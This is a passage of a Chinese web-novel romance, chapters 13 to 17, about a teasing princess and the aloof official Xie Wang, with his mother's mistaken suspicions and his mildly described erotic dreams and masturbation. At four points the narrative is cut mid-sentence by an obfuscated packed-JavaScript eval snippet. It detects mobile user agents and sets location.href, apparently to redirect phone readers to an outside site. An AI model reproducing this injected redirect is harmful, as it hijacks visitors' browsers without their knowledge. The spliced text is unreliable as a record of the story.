林娇轻哼一声,显然不相信,她这儿子平日里恨不得离那些姑娘家八千里远,都能把耳珰勾在身上了,可见亲近。 “你不告诉我算了,我自己会找到它的主人的。” 说罢便拿着那耳珰走了。 谢妄看着她的背影,心情更坏了,也不知她要做些什么。 房中静谧,阳光映出窗棂的影子。他余光瞥见自己左肩,被那耳珰勾住的地方衣料勾了丝,有些突兀。他定定看了片刻,鼻腔里仿佛传来似有若无的幽香,是陆朝朝身上的味道。 紧随着,是那双狡黠好看的眼睛,和她清琅的笑声。 谢妄又恼起来,想堵住她的嘴,不许她再笑。 他无端想到昨晚的梦。 13.第十三章 园中桃花盛放,一簇簇的粉,春意盎然。桃花树下挖了一条沟,引入山泉水,曲曲折折绕过一圈,水中浮着特意制成叶子形状的托盘,托盘里有糕点花果饮子酒品,仿前代的曲水流觞之意,甚是风雅。 “听闻今日这桃花宴出自常宁郡主的手笔,不愧是京城第一美人。”有人夸道。 紧跟着,不少人应和。 声音传入傅宝嘉耳朵,傅宝嘉撇了撇嘴,切了声:“这些没品的家伙。” 她说罢,看向身侧的陆朝朝,只见陆朝朝目光飘忽,似乎在搜寻着什么人。傅宝嘉拿胳膊肘撞了下陆朝朝:“朝朝,你在看什么呢?” 陆朝朝张嘴欲直接告知傅宝嘉那天的事,转念有更好的主意,又卖关子:“等会儿你就知道了。” 她在找谢妄。 这种宴会谢妄一向会被邀请,只是他并非每次都会露面,但陆朝朝特意给他去了口信,让他务必今日来参加宴会。陆朝朝目光搜寻一圈,没看见谢妄,倒是看见了萧紫渔和陆皎月。 萧紫渔是姝真长公主的女儿,与陆朝朝她们是表姐妹。名义上如此,不过萧紫渔和陆朝朝的关系并不亲近,因着当年姝真长公主和皇后关系最要好,与贤妃交恶,故而萧紫渔也与陆皎月关系最亲近。 萧紫渔与陆皎月并肩而行,一路上都有不少世家公子与之攀谈。他们都是冲着萧紫渔来的,萧紫渔也都落落大方地回应了。 不远处有人窃窃私语:“若是能娶得常宁郡主为妻,不敢想象那该有多幸福。” 另一人道:“你就别做梦了,谁不知晓常宁郡主倾慕谢二公子。” 这话被陆朝朝听得完全,她撑住下巴,微微挑眉。她和萧紫渔的关系虽然不亲近,倒也不算太差,因着萧紫渔虽与陆皎月交好,却是个八面玲珑的人,并不会因此就同陆皎月一般敌视陆朝朝,明面上的礼数她都做得很周到,体贴大方。陆朝朝算不上讨厌萧紫渔,只不过对她挑男人的眼光深表同情。 她竟然会喜欢谢妄,简直就瞎了眼嘛。 陆朝朝正想着,终于看见谢妄的身影从垂花门处出现。 他身量颀长,风姿出众,每次不论走到哪里都能吸引众人的视线。更遑论今日是常宁郡主攒的宴,而二人之间还曾穿过一阵绯闻,便更惹得众人关注了。 谢妄脸色比平日更冷一分,他昨日收到陆朝朝递来的口信便烦着,她说让他务必参加今日的桃花宴。这种口气,实在很难不让他猜测她要做些什么,还是在大庭广众。 他真的不想来。 可他已经许诺了她,要听她的话。他不是那种言而无信的人。 谢妄在官署磨蹭了两刻钟,终于还是登上了前往宴会的马车。 他目如寒霜,越过众人,直直看见了坐在中间的陆朝朝。 她今日着一件湖水绿盘金彩绣双花缠枝曳地长裙,云鬓高绾,发上缠了绿色的发带,清新可人,正歪着头瞧着他,目露笑意。 这笑意和那天让他学狗叫的笑意如出一辙,谢妄心往下一坠,不知她又要叫自己做什么难堪的事。 见谢妄出现,萧紫渔眼前一亮,她还以为他今日不会来了。前些日子,另有贵女设宴邀请他,他都没去。 所以,他对自己应当还是有些不同的吧。萧紫渔眸色倏地柔软几分。 另一边,林娇也很意外谢妄的出现。 她看了眼谢妄,又看了眼娇羞的萧紫渔,心道,难道那耳珰的主人是常宁郡主? 林娇从袖中取出那只耳珰,远远地朝着萧紫渔比了比,问起身边的丫鬟:“你觉得这只耳珰像是常宁郡主平日里戴的么?” 丫鬟拿不准主意,摇了摇头:“奴婢不知。” 谢妄收回视线,提步往前。他没打算往陆朝朝那边走,径直寻了另一处空旷些的位置。 还未及落座,听得陆朝朝道:“过来。” 陆朝朝这一声不大不小,周遭不少人都听见了,皆是一头雾水,不知昭阳公主在叫谁过去。 谢妄却是知道,她在叫自己过去。 他目光更冷,犹豫须臾,还是转身朝着陆朝朝走去。 陆朝朝指了指身边的位置,示意谢妄坐下。 谢妄面无表情地坐下。 众人见他的动作,皆都大吃一惊。 谁都知晓谢二公子与昭阳公主不对付,今儿是怎么了,太阳打西边出来了。 众人面面相觑,一时无人敢开口。 静默之间,娇贵的小公主再次开口:“我想吃枇杷。” 她侧头看着谢妄笑,意图很明显,要他剥枇杷给她吃。 谢妄定定看着她,一时没有动作。 这要求倒还不算太难堪,谢妄自暴自弃地想,而后伸手拿过两颗枇杷,便要剥皮。 小公主嫌弃地打断他:“等一下,你洗手了没有?” 谢妄冷冷道:“没有。” 陆朝朝撇嘴,让水月取了盆清水过来,让谢妄先洗了手,而后才让他继续剥枇杷。谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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陆朝朝被谢妄这么一说,心里浮出几分心虚,若是日后谢妄知晓真相,定然勃然大怒,还是别太过火了。 她正想着,视线忽地瞥见桃花树下走来一道清风朗月的身影,正是章安澜姗姗来迟。 陆朝朝与章安澜遥遥对视须臾,章安澜视线落在她身侧的谢妄身上,陆朝朝怕他误会什么,赶紧对谢妄道:“好了好了,你走吧。” 谢妄站起身,如释重负,转身离开时,瞥了眼章安澜。 若是他没看错,小公主对这位新晋状元郎似乎……态度格外不同。 14.第十四章 那日夜里,明月公主对这位新晋状元郎表达了倾慕之情,而陆朝朝与皎月公主一向交恶,是因此才对这位新晋状元郎颇有兴致? 谢妄收回视线,这种事倒与自己没有太大干系。倘若日后小公主有喜欢的人,待她嫁人时有什么困难,他自然会帮她一把。 至于她喜欢谁,他并不关心。 他们二人之间,全因阴差阳错牵扯至一处,又非爱侣。 待谢妄走后,陆朝朝又看了眼章安澜,心中有些不安。周遭亦有人窃窃私语,猜测着谢妄与陆朝朝之间的关系,陆朝朝听见了,故意大声道:“本宫今日与谢大人打了一个赌,谢大人输了,故而今日供本宫差遣罢了。” 她话音落地,有人恍然,原来竟是如此。也该是如此,虽说此前不知从何传出谣言,道他们二人有私情,但这么些年他们二人处处不对付的情景可是一直被众人看在眼里。 然,亦有人不信,冤家变爱侣的事少有,但并非全无。谢大人与昭阳公主二人除了性子不对付,旁的可都堪称登对,郎才女貌,珠联璧合。 但既然昭阳公主发了话,众人皆都顺着话头一笑了之。 陆朝朝说罢,余光不住地往章安澜身上瞟。倏地与他四目相对,章安澜再次冲她温和地笑了笑。 陆朝朝只觉得这一眼春风拂面,眉梢挂笑。 傅宝嘉咳嗽了声,提示她:“朝朝,你可别忘了,他已经有心上人了。” 陆朝朝的心登时从飘飘然落了地,是哦,他都有心上人了,又怎会在意她是否和谢妄有什么关系?她顿时失了前头的喜悦,被惆怅裹挟,不再去看章安澜了。 那厢林娇已然惊住。 适才谢妄出现,她还以为是为着萧紫渔的缘故,可紧跟着,他同昭阳公主一番互动把她这个亲娘都看得目瞪口呆。他连在家里都少有这样听话的时候,更遑论从前他和昭阳公主还是死对头了。 能让死对头发生这么大的转变的,除了情之一字,还能是什么? 林娇定定打量着不远处的小公主,她是陛下的掌上明珠,自然骄矜高贵,她拿出那只耳珰比了比,脑海中忽地闪过一些画面。 那只耳珰她曾看昭阳公主戴过一回,在去岁年末的宫宴上。 这下更佐证了林娇的猜测,她不由得回溯二人的相处,懊恼地长叹一声。 一切都有迹可循了,难怪她这儿子总是跟人家针锋相对,合着是喜欢人家啊。上回京城忽地冒出传闻说他和昭阳公主有私情,他爹去问他,他还否认。 这性子也未免太幼稚了些,真不知道随谁。左右不是随她。 这么幼稚的把戏,也不知道何年何月才能讨得人家欢心哦。林娇一阵发愁,思忖片刻后,吩咐身边婢女将谢妄叫来。 未几,谢妄便过来了。 “母亲有何事?”他这会儿心情仍然坏着。 林娇先叹了声,而后语重心长道:“儿子,你这样一辈子也讨不到姑娘家的欢心的。” 谢妄眼眉微低:“您在说什么胡话?” 林娇说:“你得温柔一点,哄着人家顺着人家才行。” 谢妄满头黑线。 林娇又说:“姑娘家都爱听好听的,遑论人家是公主,娇娇贵贵的,能喜欢你才有鬼了。” 谢妄终于听明白了,他娘是误会了他与陆朝朝的关系。他抿唇解释:“您想多了,我与昭阳公主之间并无任何私情。” 又来了。又幼稚又别扭。 林娇轻啧了声,将那只耳珰拿在手中晃了晃:“那你如何解释这只耳珰?我已经记起来了,从前见昭阳公主戴过一回。” 谢妄说:“不过一只耳珰,能说明什么?” 林娇哼了声:“能说明你们二人曾经十分亲近,否则女儿家的耳珰能掉你身上?” 谢妄说:“也有可能我与她大打出手,所以掉在我身上了。” 林娇反驳:“以我对你的了解,就算再不喜,你也不曾与人大打出手过,更别说是昭阳公主了。” 谢妄默然不语。 林娇继续说:“以我对你的了解,你更不会是任人摆布的人。可你今日却任公主差遣,不曾有一句怨怼。” 谢妄只道:“事出有因。” 林娇冷笑:“什么因?就是天塌下来,也不可能让你这么做!我是你娘,我还不了解你?你连我和你爹的话都未必全听,除了情之一字,还能有什么因?” 谢妄被林娇的想象力折服,又不能将事情真相告知,只好说:“总之事情不是您章想的那样,您还是少想一些吧。若是您觉得闷,让大哥和大嫂再给您生一个孙儿玩。儿子先告退了。” 他说完就走,林娇看着他的背影直叹气。 不多时,又想,昭阳公主金枝玉叶,虽有些娇纵脾气,但心还是善的,日后嫁入谢家,应当不至于相处不来。她顺着想下去,若是日后昭阳公主生下孩子,叫什么好呢? 好像想得太远了些,就他这副死样子,何年何月才能讨得人家欢心? - 今日桃花宴的主角原是萧紫渔,在谢妄出来之后,大家的注意力有意无意都到了谢妄和陆朝朝身上。萧紫渔眸色黯淡下来,听了陆朝朝的说辞后缓和了几分,但仍是不安,捱到曲终宴散,还是忍不住寻了个机会开口发问。 “谢大人,不知你与昭阳表姐打了什么赌?” 谢妄今日本就被陆朝朝的所作所为弄得不是很高兴,不久前林娇那番话又让他更不高兴了,为什么都觉得他喜欢她? 先是他爹,而后是大哥,现在他娘也这么觉得了。 他语气算不上和善:“没什么。” 男人的冷淡让她有些受挫,萧紫渔咬了咬唇,忽地开口:“谢大人,想必你也猜到了,其实我对你……” 还未说完,面前的颀长身影已经提步往前。 萧紫渔话音戛然而止,眼睁睁看着他的背影,而他奔向之处,是陆朝朝的身影。 萧紫渔眸色垂下,他真的喜欢陆朝朝么? 陆朝朝正和傅宝嘉说话:“就是上次,我还以为他已经发现了,要来找我算账。结果你知道吗?他根本就没发现,他还以为真的有这回事,然后还跑来问我,有没有喝过避子汤?我就逗他,让他以后都得听我的。” 她一面说,一面掩嘴失笑。 忽地一滴清凉落在她额上,紧跟着是淅淅沥沥的雨砸下来。 陆朝朝一怔, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆朝朝凝眉:“这和你有什么关系?” 谢妄说:“没有,随口问问。臣想说,殿下今日不应当如此,落在旁人眼里,会有人误会殿下和臣的关系。” 陆朝朝不甚在意地说:“谁会误会?他瞎了眼哦。” 谢妄一时沉默,想到了他们谢家的几位。 “再说了,就算真有瞎了眼的人误会,那你可以说,你单恋我,但是爱而不得嘛。”陆朝朝又说。 她同他说话的时候,总是喜欢微微抬着下巴,这便令她鲜嫩的唇离他更近几分。 那醒目的嫣红像拥有某种奇异的引诱力,让人有种不自觉靠近的错觉。 他目光发愣,陆朝朝蹙眉:“你看什么呢?” 谢妄回神,移开视线:“臣难道像对殿下爱而不得的人?” 陆朝朝忽地身子往前倾了倾,她的脸即刻凑他更近,她眼神将他打量一番,而后:“很像啊。” 谢妄只觉得心跳仿佛停了一拍。 15.第十五章 须臾之间天地仿佛有一刹的空白,而后才听见她清琅的嗓音落在他耳畔。他怔怔失神,陆朝朝已然倾回身,与他拉开了距离。仿佛片刻前的记忆是他的错觉,却在他心头萦绕不去。 陆朝朝听见外头的雨落在马车上的声响,不甚有耐心地问:“你说完了没有?” 谢妄嗯了声,陆朝朝便拿起自己的伞掀开马车帷幕下去,雨幕很快隔开了她的身影,使之变得模糊。谢妄打起帘子看了眼,远远地又看见她回到屋檐下,而章安澜还未走,二人不知说了些什么,陆朝朝笑得很开心。 她并未否认她喜欢章安澜。 谢妄撂下帘子,吩咐千山驾车离开。 这日之后,果真京城中又有传闻,道她与谢妄是一对,陆朝朝听见消息很是无奈,她当真不解,为何总有人会这般猜测,她分明和谢妄摆在明面上的不对付。 “怎么没人传我和章安澜是一对啊?”陆朝朝捧住小脸,愁眉不解。 傅宝嘉和她一道趴在美人靠上说话:“章安澜有心上人的事大家都知道,当然没人会传咯。” 说起这,陆朝朝就叹气,她翻了个身,背倚着美人靠:“今天去见父皇的时候,父皇果然又听说了这件事,又在我面前提起谢妄,问我觉得他怎么样,我感觉父皇老是想撮合我和谢妄。” 傅宝嘉点点头,对此表示理解,若是抛开陆朝朝与谢妄之间的恩怨来看,他们二人的确堪称般配。但她也知道,这恩怨在陆朝朝这里是决计抛不开的。 不过,“朝朝,说真的,你就没考虑过谢妄?”傅宝嘉小心翼翼地开口。 其实谢妄在京城贵女之间的人气很高,因着他那优越的皮相和家世,还有出色的才能,喜欢他的人不计其数。他在京城年轻一辈的郎君之中,堪称第一流,其余人连能与他比肩的都少有。就说那章安澜,已然足够出色了,可和谢妄比起来,还是差了不少。 所以傅宝嘉能理解为何崇光帝想撮合陆朝朝和谢妄,毕竟崇光帝宠爱朝朝,一向想给她最好的,而挑选夫婿当然更该如此,最好的么,便是谢妄了。 陆朝朝一脸不可置信的表情:“当然没有了!宝嘉,你怎么也跟我父皇似的。我才不会喜欢谢妄那种人呢,冷冰冰的没有人情味,没有风度也没有礼貌,除了那张脸好看一点,没有任何优点了。考虑他,我还不如考虑剃了头发当尼姑啊!”她丝毫不掩饰自己对谢妄的嫌弃。 傅宝嘉被她的话逗笑了:“谢妄确实冷冰冰的,可要是如果他平时冷着脸,但是……” 她没说完,自己先红了脸。 陆朝朝捕捉到她的神色,促狭靠近:“你脸红什么呢?是不是和那薛仲霖有关系?” 傅宝嘉清了清嗓子,小声说:“我前两日同他出去约会,主动牵了他的手,结果他马上脸就红了,一副手足无措不知道该怎么办的样子,说话都变结巴了。那模样也太可爱了,与平日里的样子完全不同。”说着又捂住了脸。 少女之间聊起这些事自然格外兴奋,陆朝朝听她说完,也跟着有些激动,不过又想,旁人或许会有反差,但谢妄就算了吧。她这么漂亮的女子,他平日里见了也还是那副死样子,就算是萧紫渔,他也一样是这副样子,才不会有什么反差呢。 倒是章安澜,她忍不住代入了一下,想象着章安澜面红耳赤害羞的样子,一定很可爱吧。 可惜,他真的有心上人了。 陆朝朝耷拉下眼皮。 更深露重,明心堂的书房里灯盏未灭。虽说已至春日,但夜至深时仍有些冷,不至于燃炭火,谢妄便披了件厚实些的大氅。他正伏案处理庶务,渐渐有些困倦。 谢妄捏了捏眉心,让自己打起精神,处理完最后这些便去安寝。困倦使人有些许分神,谢妄看着手中的文书,指尖落在一个红字上,而后脑内不合时宜地闪过陆朝朝的脸。 她近在咫尺的嫣红的唇。 谢妄晃了晃神。 他回过神来,集中注意力,忘却这些无关紧要的事,而后将手中的庶务处理完毕。千山他们备好热水,谢妄洗了个热水澡后,便躺下安寝。 他其实不常做梦,所以没想到自己又做梦了。 梦里应当是下着雨,淅淅沥沥的雨声嘈杂不绝,陆朝朝穿了那件绿色的裙子,站在章安澜旁边,二人言笑晏晏,相谈甚欢。下一瞬,画面一转,陆朝朝又站在他面前,同样是带笑的眼眉,渐渐凑近他。 她的嗓音亦带着笑:“谢缜之你吃醋啊?” 他否认:“我没有。” 陆朝朝哦了声,倏地离他远了:“那我去找章安澜了。” 他蹙眉,心头萦上一阵闷,而后伸手拽住了她细嫩的手腕,将人带了回来,圈在他胸膛与廊柱之间,欺身堵住她的唇。 “不准。” …… 谢妄倏地睁开眼。 意识到自己做了一个怎样的梦之后,他有些懵,随后好看的眉头紧皱。 这个梦比先前的都更具有冲击力。 先前那些梦,还能说是因为他看了那些话本所以才做的,可今日这个梦完全就莫名其妙,他怎么可能做出这种事来? 谢妄一声轻叹,今夜的月色隐没在层叠的云中,房中有些幽暗,他迟缓地坐起身,用帕子擦了擦脸。 难道是因为他真的太久没有自我纾解过,所以才会这般? 他目光落在晦暗之中,想到一种解决之法。 房中的窗牖关着,深夜的寒气从青砖地板上往上攀,渐渐地拢作一团,攀上柔软的幔帐,顷刻间便被火热的气息灼散了,只余下一点幽微的风。 谢妄收了手,有些失神地看着头顶的幔帐,懊恼袭上心头。 他方才失控了。 这种事在他过往的人生里几乎不存在,他从来不是一个重欲|之人。 谢妄原本只是想……自我纾|解一番,也许满足了自己的欲|望之后就不会再做这样莫名其妙的梦,也不会再梦见她。所以他开始了,可是不知为何,他会想到不久前做的那个不知所谓的梦。 他想象着梦里的一幕,她的柔软的唇瓣…… 谢妄感觉到一种前所未有的刺|激之感,那种感觉夺去了他所有的感官和思绪,只剩下一种空白。 那空白一直蔓延至此刻。 谢妄再次闭上眼,掌心的湿润不停地提醒着他方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他这么低着头恭顺的样子还真是少见啊,不得不说,这副低眉顺眼的姿态可比他目中无人的时候顺眼多了。陆朝朝拿手扇了扇风,故意说:“哎呀,刚才为了拦住谢大人,本宫可是好一番劳累,现下只觉腰酸背痛的。谢大人,你给本宫按按肩吧。” 谢妄抬眸,对上她眼神的瞬间又垂了下去,道:“殿下,男女有别。” 借口,他就是不愿意,觉得丢脸嘛。陆朝朝心想。 她不依不饶:“此处又没有别人,传不出去,误不了本宫的清誉。” 谢妄与她僵持片刻,见她似乎执意如此,想道,若是与她耽误久了,反而更容易碰上人,便妥协了。 陆朝朝坐在亭中,悠闲地托着杯盏,指了指自己的肩。 谢妄站在她身后,眸光尽力落在她肩上,但仍难免瞥到她雪白的后颈,胜雪的肌肤上有一颗红色的小痣,像皑皑白雪之中盛放的一朵红梅,叫人难以忽视。 16.第十六章 谢妄深吸一口气,强迫自己集中注意力不要乱看,只将眼神定在她瘦削的肩膀之上。 陆朝朝品了一口盏中清茶,茶香从舌尖沁入五脏六腑,令人心情舒畅。当然了,令人心情舒畅的不是茶,是谢妄在给她按肩。 好爽! 她的嘴角根本压不住。 “谢大人,你怎么还不开始啊?”陆朝朝催促了一句。 谢妄终于伸出手,捏住她的肩膀。 他是谢家二公子,生来便含着金汤匙,哪里做过这种伺候的人的活计,加之他又有习武的习惯,一捏住陆朝朝的肩膀她就吃痛地惊呼一声:“谢妄你是不是想谋害本宫?” 谢妄当即松开力道,只虚虚地将手搭在她肩上。 陆朝朝道:“你轻点行不行?” 谢妄没说话,只是收了手上的力道,很轻很轻地按住她的肩膀。他不会给人按肩,只好随意地捏了一通,这感觉当然算不上舒适,所以只听见小公主挑剔的声音此起彼伏:“轻一点好吗?你要捏断我的肩膀嘛。” “重一点啊,你在挠痒痒吗?” “你怎么这么笨,这么点小事都做不好。” …… 其中有陆朝朝故意挑刺的成分,她故意借着这件事在找谢妄的茬,而谢妄竟然一句话也没有反驳。这种感觉也太好了吧,他简直像被毒哑了一样,一言不发,任由她挑剔。 陆朝朝心中大喜,又不免有些诧异,她狐疑地回头看了眼身后的人,只见他一双眸子微微垂着,不知在想些什么,连同平日里那股高傲的气质都敛去几分。 还真别说,他这副样子看起来……的确很赏心悦目,像一个芝兰玉树的温润君子。 如果他一直保持这样,她应当会将他纳入自己未来夫婿的选择里。 但这念头只是一瞬间,陆朝朝可不会忘记这么多年以来他的恶劣,历历在目。 她当即开口:“谢妄,你不会在心里偷偷骂我吧?” 谢妄压低眉头,淡淡回答:“臣没有。” 他的确没有。 他从来不会在心里骂别人,倘若有什么不满,他一向是当面直言,所以很多人都不喜欢他,觉得他太狂妄了些。何况他认为他和这位小公主之间,远没有到需要骂人的程度,他只觉得她不够聪明,偏偏又总爱招惹他。 有时候会觉得看她这样还挺有意思的。 至于适才,他在想些别的东西。 一些比起在心里骂她,大概会更让小公主大发雷霆的东西。 他在……肖想她。 用词不算准确,但他已找不到一个更合适的词语。 他只是想到了昨夜的事,那件堪称荒谬的事,他想着她,释放了欲|望。那些湿润在他手心里残留了许久,直到被他清理掉,也仍然以一种幻觉残留在他手心。 而现在,他用这只手捏住了她的肩膀。她的肩膀很柔软,捏在手里的感觉像捏面团,她身上的幽香再次袭来,丝丝缕缕,钻入他鼻腔。 这感觉很微妙,仿佛他用干净的手玷污了她,但是她全然无知无觉,甚至乐在其中。这些念头在谢妄脑海里闪过,好像烟火的那条引线,点燃的火花一路燃至周身,而后砰地一声炸开。 所幸没有人会发现,宫婢们都低着头,站在亭子外面,而小公主背对着他,不会看见他的异常。 谢妄脸色有些不自然,他放下手,喉头微动:“殿下,臣还有诸多公事要处理,便先告退了。” 说罢,不等陆朝朝开口,谢妄已经转身离开。 陆朝朝看着他背影,皱了皱眉,唤他:“站住,我还没说完呢,你回来。” 但谢妄步履未停,反而快步离开。 陆朝朝撇了撇嘴,算了,懒得和他这种没礼貌的人计较。他大概是觉得自尊心受挫,接受不了,所以这才走了。 她只是用他的方式回敬他他就受不了了,哼。 陆朝朝冲着谢妄的背影努努嘴,起身回宫。 谢妄登上自己的马车,吩咐他们驾车回府。他脸色不太好看,千山二人也不敢说话,只安静地驾车,心道方才昭阳公主拦下自家公子不知做了什么,让公子如此生气。昭阳公主还是厉害,就连陛下训斥公子,公子脸色都不曾如此难看呢。 谢妄靠着马车车厢壁,阖上眸子。 他的那种反应终于消退下去,身体上的是,但心里的还没有。一种巨大的荒唐感将他包围,太荒谬了,他到底在做什么? 这不是他的本意,这种想要控制却微妙失控的感觉让谢妄觉得很难受。 难道真的因为他太久没有纾解过吗?所以他心里积攒了一些欲|望? 大抵如此。 物极必反的道理谢妄还是明白的,堵不如疏的道理他也懂,或许他需要好好解决一下这个问题。 谢妄黑着脸回到谢府,正巧遇上林娇,林娇见他脸色难看,当娘的还是关心自己亲儿子的,便叫来万山盘问发生何事。 “他今日被陛下训斥了?” 万山老实地摇头:“应当不是,公子从千福殿出来的时候心情还挺好的,后来在路上撞见了昭阳公主,昭阳公主将公子叫去了一会儿,公子回来之后就不大高兴了。” 林娇了然,若有所思。 小情侣吵架了啊,看他冷着这张脸就回来了,肯定不会哄人家的。林娇叹了声,为小儿子的终生大事发愁。 林娇来到明心堂时,谢妄还在书房坐着,为今日的事烦躁。 林娇推门进来,开门见山:“你是不是又说难听的话惹昭阳公主不高兴了,所以她才跟你吵架?” 谢妄闻言,眉头蹙得很深,他亲爱的阿娘到底为什么执拗地以为他和陆朝朝是一对? “没有。”谢妄烦闷开口,“而且,娘,我已经说过了,我和昭阳公主之间不是你想的那种关系。”他本想说清清白白,转念想到也没那么清白,改了口。 林娇全然不信:“没有,没有才怪。” 她的儿子她还不知道,那张嘴能呛死人,他自己还完全没感觉。他当然不觉得自己说了什么不好听的话了,但在女儿家眼里,许多话都不能说。 她试图传授一些经验:“你得顺着人家的话说,你知道吗?甭管她说得对不对,你都得点头应是,别给人家讲什么大道理事实的。你听进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059254|162428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心里去好不好?” 谢妄按了按眉心,只觉得太阳穴突突地跳,他说服不了林娇,也不想听林娇说这些莫名其妙的东西,只好道:“好了,娘,我还有正事,您先出去吧。” 谢妄将人送出书房,关上门,世界终于得到暂时的清净。 林娇看着紧闭的房门,摇了摇头。真是的,自己不行,还不肯学。 他回身在檀木桌案前坐下,深吸了一口气,强迫自己做一些正事,而非关注这些荒谬的无关紧要的事。 待忙完正事,天色已晚。 暮色不知何时四合,房中的灯已经上了,似乎不久前万山进来过一次。谢妄抬眸,果真看见搁在方桌上的晚膳,已经有些冷了。 他长舒一口气,唤万山进来将饭菜端下去热一热,而后用了晚膳,洗过一个热水澡后,躺下歇息。 房中灯已经熄灭,余下幽微的夜色,静谧着。 谢妄有些睡不着。 他翻了个身,思绪有些散乱,想到了白日里的事。 他的确应该做些什么,不能再让这种荒谬的事和荒谬的梦发生了。他并不喜欢这种被欲|望支使的感觉。 谢妄手往下,握住自己,或许多纾解几次就好了。 他阖上眸子,想要让自己有所发泄,只是并没有什么感觉,平静得像一潭死水。他静了静,再次尝试,但仍没有什么感觉。 谢妄一时默然,这才是他的常态。 只是为何…… 谢妄试探着想了想今日在陆朝朝后颈看见的那颗红痣,当即有所反应。 他倏地睁开眼,皑皑白雪里的红梅,仿佛能感知到白雪的冷,能嗅到红梅的香气,感官在他想到那场景的时候自动展开那活色生香的画卷。 谢妄有些挫败。 怎么会…… 他又强迫自己忘掉那画卷,转而想一些别的东西,试图调动自己的情绪,只是都毫无反应。而脑海中的画面只一瞬闪过他的梦,他的情绪便被调动起来。 甚至于,只是吻她的梦,而非更旖|旎的,就足够让他的情绪起来。 一想到陆朝朝,就仿佛那枯死的树重新绽放出生机似的。 谢妄在黑暗中滚了滚喉结,还是只能想到或许因为他只与她有过一些亲密接触,所以才会如此。 或许,他近来应该避开见她,待他适应一番。 谢妄在心里打定主意,而后翻身下床,唤他们备热水沐浴。 自第二日起,谢妄便开始躲着陆朝朝。 若需要进宫,会掐着点特意避开陆朝朝出现,不在宫里的时候,就很好办了,陆朝朝并不常出宫。他是聪明人,想要躲一个人对他来说并非难事。 一连十数日,他都未曾见到陆朝朝。 他也刻意让自己忘记那些旖|旎的念头,故而这些日子,他又恢复如常。 这让谢妄松了口气。 但京城这样大,偶尔也会有失策的时候。这日谢妄在长乐楼与人讨论一些公事,他不像别人那般还寒暄闲谈,故而很快便谈完了,谢妄起身正欲离开,一只脚刚跨出门槛,就听见走廊里传来一声呼唤:“公主……” 17.第十七章 谢妄又将左脚伸了回来,回身在凳子上坐下。宋恒原本已经站起身要走,见状也只好重新坐下,惴惴不安地和谢妄对视一眼,等待着他的吩咐。 他这位顶头上司不算一个很难相处的人,毕竟在官场上尔虞我诈是很正常的事,但谢大人一向是直言不讳,并不会搞两面三刀那一套,他有什么不满会直接说出来。但他也不是一个很好相处的人,谢大人要求严格,又深得陛下器重,加之总是冷着一张脸,有时候说话更是丝毫不留情面,大家都不太敢和他接近。 宋恒扯出一个微笑,而后听见谢妄开口:“听闻你前些日子刚成婚,恭喜。” 宋恒眨了眨眼,没想到谢妄开口说的竟然是这个,要知道谢大人对他们的私事一向不关心。 宋恒虽然诧异,还是老实答话:“是,下官两个月前刚成婚,多谢谢大人。” 谢妄心不在焉地嗯了声,凝神听门外的动静,脚步声渐渐靠近门口,他的心也跟着有些紧张。这太诡异了,他见过那么多大场面,竟然今日会为了一个女子而紧张。 他继续随口一问:“你与你妻子是如何相识?相看么?” 诡异,真的很诡异。 宋恒几乎要怀疑自己是不是没睡醒出现幻觉了,他暗暗掐了掐自己手心,疼痛感顿时袭来,好痛,这不是做梦。谢大人为何突然问起这些事,难不成是突然体恤下属? 这让宋恒有些受宠若惊,不由得说得有些多了起来:“那倒不是,我和我妻子是自幼相识,就住在一条巷子里,住对门儿,也算是青梅竹马吧。” 宋恒挠了挠头:“不过也不太对,青梅竹马好像都是关系很友好的那种,我和我妻子么,小时候是对冤家,总是互相看不顺眼,对着干。就像您同昭阳公主那般。后来我长大了一些,忽然发现其实我特别喜欢她,但是我又不太好意思告诉她,还因此差点错过她。她那时候十六岁,跟别人相看,听说是个比我好很多的人,我很害怕她看上那个人,还特意去找她,结果俩人又吵起来了。吵完架,她哭了,我突然就觉得我怎么能这样,我太浑蛋了,我就跟她表明了心意,而后便在一起了。我们两家知根知底,门当户对,父母们当然很开心便同意了。” 宋恒回忆起来,仿佛沉浸进去,面上不自觉带着幸福的笑容。 谢妄听罢,默然不语。 什么叫就像他和陆朝朝那样? 这情况分明就很不一样,可谓是完全不同。 他正欲开口纠正,听见脚步声到了门口,便又咽下话头。 隔着一扇门,门外婢女的声音清晰无误地传进谢妄耳朵:“公主,人已经到了。” “好。” 哦,不是陆朝朝。 也对,陛下有这么多个女儿,怎么会这么巧就遇上她? 谢妄似乎是松了口气,可不知怎么,又隐隐有些失望。 他再次站起身,推开门,回头对宋恒道:“祝你们百年好合。” 宋恒点头道谢,目送谢妄背影离去。待回到家中,与妻子说起此事:“小敏,你定然想不到今日发生了什么事?” 小敏闻声从厨房里出来,面露惊喜:“怎么了夫君?” 